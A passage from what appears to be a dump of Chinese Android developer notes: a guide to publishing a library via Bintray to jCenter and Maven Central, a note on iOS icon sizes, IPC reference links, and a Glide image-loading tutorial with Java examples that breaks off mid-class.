URL\ngroup = \"com.charonchui.cyberlink\"                      // Maven Group ID for the artifact\n\ninstall {\n    repositories.mavenInstaller {\n        // This generates POM.xml with proper parameters\n        pom {\n            project {\n                packaging 'aar'\n\n                // Add your description here\n                name 'cyberlink-android'\n                description = 'CyberLink for Android is a development package for UPnP™ developers on Android development.'\n                url siteUrl\n\n                // Set your license\n                licenses {\n                    license {\n                        name 'The Apache Software License, Version 2.0'\n                        url 'http://www.apache.org/licenses/LICENSE-2.0.txt'\n                    }\n                }\n                developers {\n                    developer {\n                        id 'CharonChui'\n                        name 'Charon Chui'\n                        email 'charon.chui@gmail.com'\n                    }\n                }\n                scm {\n                    connection gitUrl\n                    developerConnection gitUrl\n                    url siteUrl\n\n                }\n            }\n        }\n    }\n}\n\ntask sourcesJar(type: Jar) {\n    from android.sourceSets.main.java.srcDirs\n    classifier = 'sources'\n}\n\ntask javadoc(type: Javadoc) {\n    source = android.sourceSets.main.java.srcDirs\n    classpath += project.files(android.getBootClasspath().join(File.pathSeparator))\n}\n\ntask javadocJar(type: Jar, dependsOn: javadoc) {\n    classifier = 'javadoc'\n    from javadoc.destinationDir\n}\nartifacts {\n    archives javadocJar\n    archives sourcesJar\n}\n\nProperties properties = new Properties()\nproperties.load(project.rootProject.file('local.properties').newDataInputStream())\n\n// https://github.com/bintray/gradle-bintray-plugin\nbintray {\n    user = properties.getProperty(\"bintray.user\")\n    key = properties.getProperty(\"bintray.apikey\")\n\n    configurations = ['archives']\n    pkg {\n        repo = \"maven\"\n        // it is the name that appears in bintray when logged\n        name = \"cyberlink-android\"\n        websiteUrl = siteUrl\n        vcsUrl = gitUrl\n        licenses = [\"Apache-2.0\"]\n        publish = true\n        version {\n            gpg {\n                sign = true //Determines whether to GPG sign the files. The default is false\n                passphrase = properties.getProperty(\"bintray.gpg.password\") //Optional. The passphrase for GPG signing'\n            }\n//            mavenCentralSync {\n//                sync = true //Optional (true by default). Determines whether to sync the version to Maven Central.\n//                user = properties.getProperty(\"bintray.oss.user\") //OSS user token\n//                password = properties.getProperty(\"bintray.oss.password\") //OSS user password\n//                close = '1' //Optional property. By default the staging repository is closed and artifacts are released to Maven Central. You can optionally turn this behaviour off (by puting 0 as value) and release the version manually.\n//            }\n        }\n    }\n}\n```\n\n到这一步就可以开始上传到`bintray`了，接下来开启`Android Studio`的`Terminal`中。\n- 检查代码的正确性，以及编译`library`文件(`aar`,`pom`等)。执行如下命令:    \n    `./gradlew install`如果提示权限不足就用`chmod 777 gradlew`改下权限就好了，windows下直接运行`gradlew install`\n    正确的话会提示`BUILD SUCCESSFUL`\n- 上传编译的文件到`bintray`，使用如下命令:     \n    `./gradlew bintrayUpload`       \n    成功的话会提示`SUCCESSFUL`      \n接下来到`bintray`上检查一下你得`package`你会在版本区域发现新上传的版本。点击进去就能发现我们上传的`library`文件。      \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/publish_version.png?raw=true)\n\n点击该版本进入后可以看到所有的文件目录。       \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/version_list.png?raw=true)\n\n到这里你的`library`就已经上传了，任何人都可以使用，但是别高兴的太早，因为现在只是上传到了你自己的私人`Maven`仓库，而不是`jCenter`上，如果别人使用你`library`，他必须要先定义仓库的`url`， 如下:     \n```java\nrepositories {\n    maven {\n        url 'https://dl.bintray.com/charonchui/maven/'\n    }\n}\n...\n  \ndependencies {\n    compile 'com.charonchui.cyberlink:cyberlink-android:1.0.0'\n}\n```\n这样终究是不方便的，因为别人还要单独的去配置你仓库的`url`那么接下来就是怎么将`bintray`上我们的仓库上传到`jCenter`中呢？      \n把`library`同步到`jCenter`上非常容易。只需要访问`bintray`，然后点击`Add to jCeter`然后在新出来的页面直接点击`Send`即可。\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/add_to_jcenter.png?raw=true)\n现在我们就需要等待`bintray`团队审核我们的请求，一般会在两三个小时左右，如果审核通过，会收到一封邮件通知。通过这一步之后任何开发者都可以不用配置仓库`url`直接使用了。  \n想检查一下自己的`library`是否在`jCenter`上存在，可以直接访问[http://jcenter.bintray.com](http://jcenter.bintray.com),然后根据你的`groupId`直接进入相应的目录查看即可。这里要说一下，这个链接到`jCenter`是一个只需要做一次的操作，如果以后对你的`package`做了修改，或者发布新版本等，这些改变会自动同步到`jCenter`上。同时，如果你要像删除某一个`package`，但是在`jCenter`仓库中的`library`不会被删除。它会一直存在，没法直接删除，因此如果你想要完全删除的时候，最好在移除`package`之前先在网页上把删除每个版本。\n如何通过后也可以在`bintray`上面看到，这里已经不显示`Add to jCenter`按钮了，他会直接显示出来`jCenter`.            \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/already_add_to_jcenter.png?raw=true)\n\n到这里你就可以在项目中直接使用:　　　　　\n```java\ndependencies {\n    compile 'com.charonchui.cyberlink:cyberlink-android:1.0.0'\n}\n```\n但是，我悲剧了。提示失败了，为什么呢？　\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/library_name_error.png?raw=true)　　　　　　　　　　　　　　　　　\n原因就出来`library`这个`module name`这里，因为我这里的`module`那么是`library`所以它上传之后的路径就是`library`而不是`cyberlink-android`:     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/libray_name_error_path.png?raw=true)　　     \n所以通过这里能看出来它是使用当前`module`的名字的。我们只能通过如下方式去使用:     \n```java\ndependencies {\n    compile 'com.charonchui.cyberlink:library:1.0.0'\n}\n```\n这样就能正常使用了。 如果有些人感觉这样不好，就想要`com.charonchui.cyberlink:cyberlink-android:1.0.0`的方式，那就将`Android Studio`中`library`的名字修改为`cyberlink-android`后重新上传发布吧。\n\n\n最后一步:上传library到Maven Central      \n---\n\n并不是所有的开发者都使用`jCenter`。仍然会有一些人在使用`Maven Central`。因为此我们仍然需要将`library`上传到`Maven Central`上。要从`jCenter`中上传到`Maven Central`之前需要先完成以下两部分:      \n\n- `Bintray`上的`pacage`已经链接到`jCenter`.\n- `Maven Central`上的仓库已经认证通过.\n\n如果确认已经完成上面的授权后，上传`library`到`Maven Central`就非常简单了，只需要在`package`的详情页面点击`Maven Central`的链接。\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/publish_to_maven_central.png?raw=true)\n直接进入下一个页面:         \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/send_to_maven.png?raw=true)\n然后再出来的页面输入`Maven Central`对应的用户名和密码点击`Sync`就可以了。上传到`Maven Central`的`library`是非常严格的，比如`+`号是不能在`library`版本的依赖定义中使用的。    \n完成之后，你可以在 [Maven Central Repository](https://oss.sonatype.org/content/repositories/releases/)中找到你的`library`。\n\n总结下在使用过程中遇到的错误: \n\n- Maven gradle插件与gradle版本要对应好，如下，不要不对应。\n    ```xml\n    // Top-level build file where you can add configuration options common to all sub-projects/modules.\n    \n    buildscript {\n        repositories {\n            jcenter()\n        }\n        dependencies {\n            classpath 'com.android.tools.build:gradle:1.3.0'\n            // 用于上传项目到bintray\n            classpath 'com.jfrog.bintray.gradle:gradle-bintray-plugin:1.2'\n            // 用于生成javaDoc和jar\n            classpath 'com.github.dcendents:android-maven-gradle-plugin:1.3'\n            // NOTE: Do not place your application dependencies here; they belong\n            // in the individual module build.gradle files\n        }\n    }\n    \n    allprojects {\n        repositories {\n            jcenter()\n        }\n    }\n    ```\n- `windows`下执行`gradlew install`编译`javadoc`时会提示`GBK`编码错误，这时候需要修改编译时的编码，具体放狗搜下，当时我改在`mac`上用了，就没解决。\n- 编译生成`javadoc`时提示很多找不到类，不能使用`<br/>`等错误，这里建议在写注释的时候一定要规范，不要使用汉字，而且不要使用`<br/>`，`<p>`等。\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/IOSNote/Ios上架app需要的图标尺寸.md",
    "content": "\n# IOS上架所需要的图标的尺寸\n\n## iocn\n\n1. Icon.png - 57 * 57 iPhone应用图标\n2. Icon@2x.png - 114 * 114 iPhone Retina显示应用图标\n3. Icon-Small.png - 29 * 29 系统设置和搜索结果图标\n4. Icon-Small@2x.png - 58 * 58 iPhone Retina显示屏 系统设置和搜索结果图标\n5. app store 上线需要两版图标 1024 * 1024  512 * 512\n\n\n\nios里面的切图：\n需要三版，以适应不同的分辨率，命名就是前半部分一样，后面加上@2x就可以。用的时候正常用前半部分名字，系统会根据分辨率自动选择。\n\n如果设计稿是iPhone6: 750 * 1334\n\n那么我们切图，切出来的图直接就是@2x的，我们还需要切出一套@1x的，还需要一套@3x的。\n\n转换关系是，如果一个图在ps的大小是，10px的话(750 * 1334的设计稿)。\n\n那么@1x : 5px     @2px : 10px    @3px : 15px\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/IPC.md",
    "content": "进程间通信详解（2019-5-22）\n\n* [Android 多进程使用场景](http://blog.csdn.net/qq_27489007/article/details/54377655)\n* [Android面试收集录14 Android进程间通信方式](https://www.cnblogs.com/Jason-Jan/p/8459687.html)\n* [完美解决Android进程间通信—ABridge](https://www.jianshu.com/p/46134eef5703)\n* [Android AIDL使用详解](https://www.jianshu.com/p/29999c1a93cd)\n* [为什么选择Binder实现Android中跨进程通信](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649548116&idx=1&sn=d11a131871623110c74e3676d4fcf785&chksm=f1180e29c66f873f9cac5dc104f97fae319c1831219a9fd9458a4429f16562f6712cc7f65a4c&scene=21#wechat_redirect)\n"
  },
  {
    "path": "docs/android/AndroidNote/ImageLoaderLibrary/Glide简介(上).md",
    "content": "Glide简介(上)\n===\n\n![image](https://github.com/bumptech/glide/blob/master/static/glide_logo.png)\n\n\n官网:[Glide](https://github.com/bumptech/glide)[![Maven Central](https://img.shields.io/badge/version-4.1.1-brightgreen.svg)](https://maven-badges.herokuapp.com/maven-central/com.github.bumptech.glide/glide) \n\n`Glide`是`Google`员工的开源项目，`Google`官方`App`中已经使用，在2015年的`Google I/O`上被推荐。\n\n`Glide`的优点:   \n\n- 使用简单\n- 可配置度高，自适应程度高\n- 支持多种数据源，网络、本地、资源、`Assets`等\n- 支持`Gif`图片。\n- 支持`WebP`。\n- 加载速度快、流畅度高。\n- `Glide`的`with()`方法不光接受`Context`，还接受`Activity`和`Fragment`，这样图片加载会和`Activity/Fragment`的生命周期保持一致，比如`Pause`状态在暂停加载，在`Resume`的时候又自动重新加载。\n- 支持设置图片加载优先级。\n- 支持缩略图，可以在同一时间加载多张图片到同一个`ImageView`中，例如可以首先加载只有`ImageView`十分之一大小的缩略图，然后等再加载完整大小的图片后会再显示到该`ImageView`上。\n- 内存占用低，`Glide`默认的`Bitmap`格式是`RGB_565`，比`ARGB_8888`格式的内存开销要小一半,所以图片质量会稍微差一些，当然这些配置都是可以修改的。\n- `Glide`缓存的图片大小是根据`ImageView`尺寸来缓存的的。这种方式优点是加载显示非常快。且可以设置缓存图片的尺寸  \n- 默认使用`HttpUrlConnection`下载图片，可以配置为`OkHttp`或者`Volley`下载，也可以自定义下载方式。\n- 默认使用两个线程池来分别执行读取缓存和下载任务，且可以自定义。\n- 默认使用手机内置存储进行磁盘缓存，可以配置为外部存储，可以配置缓存大小，图片池大小。\n- 在加载同样配置的图片时，`Glide`内存占用更少，因为`Glide`是针对每个`ImageView`适配图片大小后再存储到磁盘的，这样加载进内存的是压缩过的图片，内存占用自然就比较少。这种做法有助于减少`OutOfMemoryError`的出现。\n- 高效处理`Bitmap`，使用`Bitmap Pool`来对`Bitmap`进行复用，主动调用`recycle`回收需要回收的`Bitmap`，减小系统回收压力\n\n缺点:   \n\n- 体积相对来说比较大，目前最新版的大小在`500k`左右  \n- 当我们从远程`URL`地址下载图片时，`Picasso`相比`Glide`要快很多。可能的原因是`Picasso`下载完图片后直接将整个图片加载进内存，而`Glide`还需要针对每个`ImageView`的大小来适配压缩下载到的图片，这个过程需要耗费一定的时间。（当然我们可以使用`thumbnail()`来减少压缩的时间）\n\n### 使用方法：   \n\n```java\nrepositories {\n  mavenCentral()\n  maven { url 'https://maven.google.com' }\n}\n\ndependencies {\n  compile 'com.github.bumptech.glide:glide:4.1.1'\n  annotationProcessor 'com.github.bumptech.glide:compiler:4.1.1'\n}\n```\n\n`Java`代码使用:   \n\n和`Picasso`一样，`Glide`使用`fluent interface`的模式，想要加载图片，需要至少传入三个参数:    \n\n- `with(Context context)`:`Context`是很多`android api`所必要的参数，`glide`也一样。可以传递`Activity/Fragment`，而且\n它会由`Activity/Fragment`的生命周期进行绑定。  \n- `load(String imageUrl)`:图片的`URL`地址。\n- `into(ImageView targetImageView)`:需要将加载的图片显示到的对应的`ImageView`。\n\n\n```java\n// For a simple view:\n@Override public void onCreate(Bundle savedInstanceState) {\n  ...\n  ImageView imageView = (ImageView) findViewById(R.id.my_image_view);\n\n  GlideApp.with(this).load(\"http://goo.gl/gEgYUd\").into(imageView);\n}\n\n// For a simple image list:\n@Override public View getView(int position, View recycled, ViewGroup container) {\n  final ImageView myImageView;\n  if (recycled == null) {\n    myImageView = (ImageView) inflater.inflate(R.layout.my_image_view, container, false);\n  } else {\n    myImageView = (ImageView) recycled;\n  }\n\n  String url = myUrls.get(position);\n\n  GlideApp\n    .with(myFragment)\n    .load(url)\n    .centerCrop()\n    .placeholder(R.drawable.loading_spinner)\n    .into(myImageView);\n\n  return myImageView;\n}\n```\n\n\n`Proguard`防混淆配置:   \n```java\n-keep public class * implements com.bumptech.glide.module.GlideModule\n-keep public class * extends com.bumptech.glide.AppGlideModule\n-keep public enum com.bumptech.glide.load.resource.bitmap.ImageHeaderParser$** {\n  **[] $VALUES;\n  public *;\n}\n\n# for DexGuard only\n-keepresourcexmlelements manifest/application/meta-data@value=GlideModule\n```\n\n\n### 接下来是一些常用的方法:    \n\n- 从网络加载图片    \n\n```java\nGlideApp.with(context).load(internetUrl).into(targetImageView);\n```\n\n- 从文件加载图片  \n\n```java\nFile file = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES),\"Test.jpg\");\nGlideApp.with(context).load(file).into(imageViewFile);\n```\n\n- 加载`resource`资源   \n\n```java\nint resourceId = R.mipmap.ic_launcher;\nGlideApp.with(context).load(resourceId).into(imageViewResource);\n```\n\n- 加载`URI`地址 \n\n```java\nGlideApp.with(context).load(uri).into(imageViewUri);\n```\n\n- 设置占位图      \n\n```java\nGlideApp  \n    .with(context)\n    .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n    .placeholder(R.mipmap.ic_launcher) // can also be a drawable\n    .into(imageViewPlaceholder);\n```\n\n- 设置出错时的图片  \n\n```java\nGlideApp  \n    .with(context)\n    .load(\"http://futurestud.io/non_existing_image.png\")\n    .placeholder(R.mipmap.ic_launcher) // can also be a drawable\n    .error(R.mipmap.future_studio_launcher) // will be displayed if the image cannot be loaded\n    .into(imageViewError);\n```\n\n- `fallback`占位图  \n\n上面的`error()`展位图是当资源无法获取时使用的，例如图片地址无效，但是还有另外一种情况是你传递了`null`值。比如在一个显示用户资料列表中，由于并不是\n每个人都有头像图片，所有这时可能会传递`null`值。如果想要指定一个在传递`null`值时显示的错误图片可以使用`.fallback()`.    \n```java\nString nullString = null; // could be set to null dynamically\n\nGlideApp  \n    .with(context)\n    .load( nullString )\n    .fallback( R.drawable.floorplan )\n    .into( imageViewNoFade );\n```\n\n- 结合`ListView`使用 \n\n```java\npublic static String[] eatFoodyImages = {\n        \"http://i.imgur.com/rFLNqWI.jpg\",\n        \"http://i.imgur.com/C9pBVt7.jpg\",\n        \"http://i.imgur.com/rT5vXE1.jpg\",\n        \"http://i.imgur.com/aIy5R2k.jpg\",\n        \"http://i.imgur.com/MoJs9pT.jpg\",\n        \"http://i.imgur.com/S963yEM.jpg\",\n        \"http://i.imgur.com/rLR2cyc.jpg\",\n        \"http://i.imgur.com/SEPdUIx.jpg\",\n        \"http://i.imgur.com/aC9OjaM.jpg\",\n        \"http://i.imgur.com/76Jfv9b.jpg\",\n        \"http://i.imgur.com/fUX7EIB.jpg\",\n        \"http://i.imgur.com/syELajx.jpg\",\n        \"http://i.imgur.com/COzBnru.jpg\",\n        \"http://i.imgur.com/Z3QjilA.jpg\",\n};\n\npublic class UsageExampleAdapter extends AppCompatActivity {  \n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        setContentView(R.layout.activity_usage_example_adapter);\n\n        listView.setAdapter(\n            new ImageListAdapter(\n                UsageExampleAdapter.this, \n                eatFoodyImages\n            )\n        );\n    }\n}\n\npublic class ImageListAdapter extends ArrayAdapter {  \n    private Context context;\n    private LayoutInflater inflater;\n\n    private String[] imageUrls;\n\n    public ImageListAdapter(Context context, String[] imageUrls) {\n        super(context, R.layout.listview_item_image, imageUrls);\n\n        this.context = context;\n        this.imageUrls = imageUrls;\n\n        inflater = LayoutInflater.from(context);\n    }\n\n    @Override\n    public View getView(int position, View convertView, ViewGroup parent) {\n        if (null == convertView) {\n            convertView = inflater.inflate(R.layout.listview_item_image, parent, false);\n        }\n\n        GlideApp\n            .with(context)\n            .load(imageUrls[position])\n            .into((ImageView) convertView);\n\n        return convertView;\n    }\n}\n```\n\n- 图片过度`Transitions`      \n\n无论你是否使用占位图，在`UI`过程中改变`ImageView`的图片都是一个很大的动作。有一个简单的方法可以使这种改变变的更平滑，更容易让人接受，那就是使用\n`crossfade`动画。   \n```java\nGlideApp  \n    .with(context)\n    .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n    .placeholder(R.mipmap.ic_launcher) // can also be a drawable\n    .error(R.mipmap.future_studio_launcher) // will be displayed if the image cannot be loaded\n    .transition(DrawableTransitionOptions.withCrossFade())// withCrossFade(int duration)方法可以传入时间，默认时间是300毫秒\n    .into(imageViewCombined);\n```\n\n- 自定义过度动画\n\n上面提供了`crossfade`动画，但是有些时候我们需要自定义更多的样式。 \n`Glide`也是支持`xml`中自定义的动画文件的。    \n```java\nGlideApp  \n    .with(context)\n      .load(eatFoodyImages[0])\n      .transition(GenericTransitionOptions.with(R.anim.zoom_in))\n      .into(imageView1);\n```\n\n- 图片大小调整     \n\n理想情况下，你的服务器或者`API`能够返回所需分辨率的图片，这是在网络带宽、内存消耗和图片质量下的完美方案。\n\n跟`Picasso`比起来，`Glide`在内存上占用更优化。`Glide`在缓存和内存里自动限制图片的大小去适配`ImageView`的尺寸。`Picasso`也有同样的能力，但需要调用`fit()`方法。用`Glide`时，如果图片不需要自动适配`ImageView`，调用`override(horizontalSize, verticalSize)`，它会在将图片显示在`ImageView`之前调整图片的大小。\n\n这个设置也有利于没有明确目标，但已知尺寸的视图上。例如，如果`app`想要预先缓存在`splash`屏幕上，还没法测量出`ImageVIews`具体宽高。但是如果你已经知道图片应当为多大，使用`override`可以提供一个指定的大小的图片。\n\n```java\nGlideApp  \n    .with(context)\n    .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n    .override(600, 200) // resizes the image to these dimensions (in pixel). resize does not respect aspect ratio\n    .into(imageViewResize);\n```\n\n- 缩放图片\n\n对于任何图像的任何处理，调整图像的大小可能会扭曲长宽比，丑化图片的显示。在大多数情况下，你希望防止这种事情发生。`Glide`提供了变换去处理图片显示，通过设置`centerCrop`和`fitCenter`，可以得到两个不同的效果。`CenterCrop()`会缩放图片让图片充满整个`ImageView`的边框，然后裁掉超出的部分。`ImageVIew`会被完全填充满，但是图片可能不能完全显示出。\n`fitCenter()`会缩放图片让两边都相等或小于`ImageView`的所需求的边框。图片会被完整显示，可能不能完全填充整个`ImageView`。\n```java\nGlideApp  \n    .with(context)\n    .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n    .override(600, 200) // resizes the image to these dimensions (in pixel)\n    .centerCrop() // this cropping technique scales the image so that it fills the requested bounds and then crops the extra.\n    .into(imageViewResizeCenterCrop);\n\nGlideApp  \n    .with(context)\n    .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n    .override(600, 200)\n    .fitCenter() \n    .into(imageViewResizeFitCenter);    \n```\n\n- 更变图片转换 \n\n上面介绍了两种自带的图片转换方式`fitCenter`和`centerCrop`。 但有些时候我们需要自定义一些别的转换方式，自定义转换方式需要继承`BitmapTransformation`类。  \n```java\npublic class BlurTransformation extends BitmapTransformation {\n\n    public BlurTransformation(Context context) {\n        super( context );\n    }\n\n    @Override\n    protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {\n        return null; // todo\n    }\n\n    @Override\n    public String getId() {\n        return null; // todo\n    }\n}\n```\n接下来使用`Renderscript`来实现图片的模糊处理。    \n\n```java\npublic class BlurTransformation extends BitmapTransformation {\n\n    private RenderScript rs;\n\n    public BlurTransformation(Context context) {\n        super( context );\n\n        rs = RenderScript.create( context );\n    }\n\n    @Override\n    protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {\n        Bitmap blurredBitmap = toTransform.copy( Bitmap.Config.ARGB_8888, true );\n\n        // Allocate memory for Renderscript to work with\n        Allocation input = Allocation.createFromBitmap(\n            rs, \n            blurredBitmap, \n            Allocation.MipmapControl.MIPMAP_FULL, \n            Allocation.USAGE_SHARED\n        );\n        Allocation output = Allocation.createTyped(rs, input.getType());\n\n        // Load up an instance of the specific script that we want to use.\n        ScriptIntrinsicBlur script = ScriptIntrinsicBlur.create(rs, Element.U8_4(rs));\n        script.setInput(input);\n\n        // Set the blur radius\n        script.setRadius(10);\n\n        // Start the ScriptIntrinisicBlur\n        script.forEach(output);\n\n        // Copy the output to the blurred bitmap\n        output.copyTo(blurredBitmap);\n\n        toTransform.recycle();\n\n        return blurredBitmap;\n    }\n\n    @Override\n    public String getId() {\n    \t// getId()方法为这个变换描述了一个独有的识别。Glide使用那个关键字作为缓存系统的一部分。防止出现异常问题，确保其唯一。\n        return \"blur\";\n    }\n}\n```\n传递你的类的实例作为`.transform()`的参数。不管是图片还是`gif`都可以进行变换。\n\n```java\nGlideApp  \n\t.with(context)\n\t.load(eatFoodyImages[0])\n\t.transform(new BlurTransformation(context))\n\t.into(imageView2);\n```\n\n通常，`Glide`的`fluent interface`允许方法被连接在一起，然而变换并不是这样的。确保你只调用`.transform()`一次，不然之前的设置将会被覆盖！然而，你可以通过传递多个转换对象当作参数到`.transform()`中来进行多重变换:   \n\n```java\nGlideApp  \n    .with(context)\n    .load(eatFoodyImages[0])\n    .transform(\n        new MultiTransformation(\n        new GrayscaleTransformation(context),\n        new BlurTransformation(context)))\n    .into(imageView3);\n```\n\n- 播放`gif`动画    \n\n```java\nString gifUrl = \"http://i.kinja-img.com/gawker-media/image/upload/s--B7tUiM5l--/gf2r69yorbdesguga10i.gif\";\n\nGlideApp  \n    .with(context)\n    .load(gifUrl)\n    .into(imageViewGif);\n```\n\n- `gif`检查     \n\n`Glide`接受`Gif`和图片作为`load()`的参数。上面代码中潜在的一个问题，如果提供的源不是`Gif`，可能是一个普通的图片。即使是一个完好的图片(非`Gif`)，`Glide`也会加载失败。`.error()`回调方法会被调用，并加载错误占位图。这样引入了一个额外的方法`.asGif()`强迫生成一个`Gif`。 \n\n```java\nGlideApp  \n    .with(context)\n    .asGif()\n    .load(gifUrl)\n    .error(R.drawable.full_cake)\n    .into(imageViewGifAsGif);\n```\n\n- 把`Gif`当作`Bitmap`播放\n\n如果你的`app`需要显示一组网络`URL`，可能包括普通的图片或者`Gif`。在一些情况下，你可能并不在意是否要播放完整的`Gif`。如果你只是想要显示`Gif`的第一帧，当`URl`指向的的确是`Gif`，你可以调用`asBitmap()`将其作为常规图片显示。\n\n```java\nGlideApp  \n    .with(context)\n    .asBitmap()\n    .load(gifUrl)\n    .into(imageViewGifAsBitmap);\n```\n\n- 显示本地视频缩略图   \n\n```java\nString filePath = \"/storage/emulated/0/Pictures/example_video.mp4\";\n\nGlideApp  \n    .with(context)\n    .asBitmap()\n      .load(Uri.fromFile(new File(filePath)))\n    .into(imageViewGifAsBitmap);\n```\n\n- 缓存设置   \n\n```java\nGlideApp  \n    .with(context)\n    .load(gifUrl)\n    .asGif()\n    .error(R.drawable.full_cake)\n    .diskCacheStrategy(DiskCacheStrategy.DATA)\n    .into(imageViewGif);\n```\n\n\n- 内存缓存     \n\n默认情况下，我们不用去特意的操作缓存设置，因为`Glide`默认会使用内存和硬盘缓存，但是如果在知道某一个图片会快速变化时，你可能会关闭缓存功能。 \n\n```java\nGlideApp  \n    .with(context)\n      .load(eatFoodyImages[0])\n      .skipMemoryCache(true) \n      .into(imageView1);\n```\n上面调用了`.skipMemoryCache(true)`方法来告诉`Glide`禁用内存缓存功能。这就意味着`Glide`不会将图片缓存到内存中，但是这只是影响内存缓存，`Glide`仍然会将图片\n缓存到硬盘中来避免下一次显示该图片时重复请求。   \n\n\n- 硬盘缓存 \n\n如上面所讲到的，即使你关闭了内存缓存，所请求的图片仍然会被保存在设备的磁盘存储上。如果你有一张不段变化的图片，但是都是用的同一个`URL`，你可能需要禁止磁盘缓存了。\n你可以用`.diskCacheStrategy()`方法改变`Glide`的行为。不同于`.skipMemoryCache()`方法，它将需要从枚举型变量中选择一个，而不是一个简单的`boolean`。如果你想要禁止请求的磁盘缓存，使用枚举型变量`DiskCacheStrategy.NONE`作为参数。\n\n```java\nGlideApp  \n    .with(context)\n      .load(eatFoodyImages[1])\n      .diskCacheStrategy(DiskCacheStrategy.NONE)\n      .into(imageView2);\n```\n上面的这种方式只是会禁用硬盘缓存，`Glide`还会使用内存缓存。如果想把内存缓存和硬盘缓存都禁用，需要把上面的两个方法都设置   \n```java\nGlideApp  \n    .with(context)\n      .load(eatFoodyImages[1])\n      .diskCacheStrategy(DiskCacheStrategy.NONE)\n      .skipMemoryCache(true)\n      .into(imageView2);\n```\n\n- 自定义磁盘缓存行为\n\n如从上面提到的，`Glide`为硬盘缓存提供了多种设置方式。`Glide`的磁盘缓存是相当复杂的。例如，`Picasso`只缓存全尺寸图片。`Glide`，会缓存原始，全尺寸的图片和额外的小版本图片。例如，如果你请求一个`1000x1000`像素的图片，你的`ImageView`是`500x500`像素，`Glide`会保存两个版本的图片到缓存里。\n\n- `DiskCacheStrategy.NONE`禁用硬盘缓存功能\n- `DiskCacheStrategy.DATA`只缓存原始的全尺寸图. 例如上面例子中`1000x1000`像素的图片\n- `DiskCacheStrategy.RESOURCE`只缓存最终剪辑转换后降低分辨的图片。例如上面离职中`500x500`像素的图片\n- `DiskCacheStrategy.AUTOMATIC`基于资源只能选择缓存策略(默认的行为)\n- `DiskCacheStrategy.ALL`缓存所有分辨率对应的类型的图片\n\n- 图片请求优先级     \n\n`Glide`支持使用`.priority()`方法来设置图片请求的优先级。   \n- `Priority.LOW`\n- `Priority.NORMAL`\n- `Priority.HIGH`\n- `Priority.IMMEDIATE`\n\n```java\nprivate void loadImageWithHighPriority() {  \n    GlideApp\n        .with(context)\n        .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n        .priority(Priority.HIGH)\n        .into(imageViewHero);\n}\n\nprivate void loadImagesWithLowPriority() {  \n    GlideApp\n        .with(context)\n        .load(UsageExampleListViewAdapter.eatFoodyImages[1])\n        .priority(Priority.LOW)\n        .into(imageViewLowPrioLeft);\n\n    GlideApp\n        .with(context)\n        .load(UsageExampleListViewAdapter.eatFoodyImages[2])\n        .priority(Priority.LOW)\n        .into(imageViewLowPrioRight);\n}\n```\n\n- 缩略图  \n\n缩略图不同于前面文章中提到的占位图。占位图应当是跟`app`绑定在一起的资源。缩略图是一个动态的占位图，可以从网络加载。缩略图也会被先加载，直到实际图片请求加载完毕。如果因为某些原因，缩略图获得的时间晚于原始图片，它并不会替代原始图片，而是简单地被忽略掉。\n\n`Glide`提供了两种产生缩略图的方式。第一种，是通过在加载的时候指定一个小的分辨率，产生一个缩略图。这个方法在`ListView`和详细视图的组合中非常有用。如果你已经在`ListView`中用到了`250x250`像素的图片，那么在在详细视图中会需要一个更大分辨率的图片。然而从用户的角度，我们已经看见了一个小版本的图片，为什么需要好几秒，同样的图片（高分辨率的）才能被再次加载出来呢？\n\n在这种情况下，从显示`250x250`像素版本的图片平滑过渡到详细视图里查看大图更有意义。`Glide`里的`.thumbnail()`方法让这个变为可能。这里`.thumbnal()`的参数是一个浮点乘法运算。\n\n\n```java\nString internetUrl = \"http://i.imgur.com/DvpvklR.png\";\n\nGlideApp  \n    .with(context)\n    .load(internetUrl)\n    .thumbnail(0.1f)\n    .into(imageView);\n```\n例如，如果你传递一个`0.1f`作为参数，`Glide`会加载原始图片大小的`10%`的图片。如果原始图片有`1000x1000`像素，缩略图的分辨率为`100x100`像素。\n\n为`.thumbnail()`传入一个浮点类型的参数，非常简单有效，但并不是总是有意义。如果缩略图的生成也需要从网络加载同样全分辨率图片后才可以，那这样加载速度并不会比不用缩略图快。\n因此`Glide`提供了另一个方法去加载和显示缩略图。第二种方式需要传递一个新的`Glide`请求作为参数。      \n\n```java\nString internetUrl = \"http://i.imgur.com/DvpvklR.png\";\n\n// setup Glide request without the into() method\nRequestBuilder<Drawable> thumbnailRequest = GlideApp  \n    .with(context)\n    .load(internetUrl);\n\n// pass the request as a a parameter to the thumbnail request\nGlideApp  \n    .with(context)\n      .load(UsageExampleGifAndVideos.gifUrl)\n      .thumbnail(thumbnailRequest)\n      .into(imageView);\n```\n区别在于第一个缩略图请求是完全独立于第二个原始请求的。缩略图可以来自不同资源或者图片URL，你可以在它上面应用不同的变换。\n\n\n\n- 旋转图片    \n\n`android.graphics.Matrix`提供了旋转的方法:  \n```java\nBitmap toTransform = ... // your bitmap source\n\nMatrix matrix = new Matrix();  \nmatrix.postRotate(rotateRotationAngle);\n\nBitmap.createBitmap(toTransform, 0, 0, toTransform.getWidth(), toTransform.getHeight(), matrix, true);  \n```\n但是如果要在`Glide`中使用旋转方法，需要用`BitmapTransformation()`进行包裹:   \n```java\npublic class RotateTransformation extends BitmapTransformation {\n\n    